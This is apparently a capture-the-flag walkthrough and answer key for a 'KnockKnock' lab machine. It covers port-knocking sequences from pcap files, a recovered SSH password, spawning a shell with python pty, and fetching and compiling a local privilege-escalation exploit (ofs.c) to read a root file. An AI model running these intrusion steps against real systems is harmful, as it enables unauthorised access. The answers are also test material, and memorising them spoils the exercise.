KnockKnock

Knock knock, who's there? Pcaps & port knocking

[Task 1] Pwn the box

In this machine you will have to use techniques such as:

- **Analysing pcap files**
- **Port knocking**
- **Linux privilege escalation**

Credits to TopHatSecurity for creating this machine.

[#1] Deploy the machine and navigate to the webpage
No answer needed

[#2] Enumerate the machine and find the first pcap file.
No answer needed

[#3] In the pcap file, whats the last port that needs to be "knocked"? `./knock <machine IP> 7000 8000 9000 7000 8000 9000 && telnet 10.10.63.210 8888`
Answer: 8000 (I quite disagree with this answer, this is because it works with 9000 too according to the packet file.)
`8000`

[#4] What directory did port knocking reveal? `./knock 10.10.63.210 7000 8000 9000 7000 8000 9000 8888 && nmap 10.10.63.210`

`bugerworld`

[#5] Locate the second pcap file and determine the port that needs to be "knocked" on. `http://10.10.63.210/-burgerworld/`
No answer needed

[#6] Whats the directory did port knocking reveal? `./knock 10.10.63.210 1 3 3 7 &&`

`telnet 10.10.63.210 1337`

`iamcornholio`

[#7] Find the next ports to be knocked on in sequence. `./knock <Machine IP> 8888 9999 7777 6666 && ssh <Machine IP>`
No answer needed

[#8] Whats the password to the user butthead?

`nachosrule`

[#9] Figure out the "You are only logging in for a split second! What do you do!" problem. `ssh butthead@10.10.63.210` use this instead `ssh butthead@<Machine IP> /bin/sh`
`python -c 'import pty; pty.spawn("/bin/sh")'`
No answer needed

[#10] Escalate your privileges on the Linux machine. To get the exploit onto the machine, you will need to create a *Python server* to serve the file locally to the virtual machine. This is a helpful link - you can then *wget* your local ip address.
put C script in /tmp directory and compile with gcc and launch using **`gcc ofs.c -o ofs`**
then run **`cat /root/SECRETZ`**
No answer needed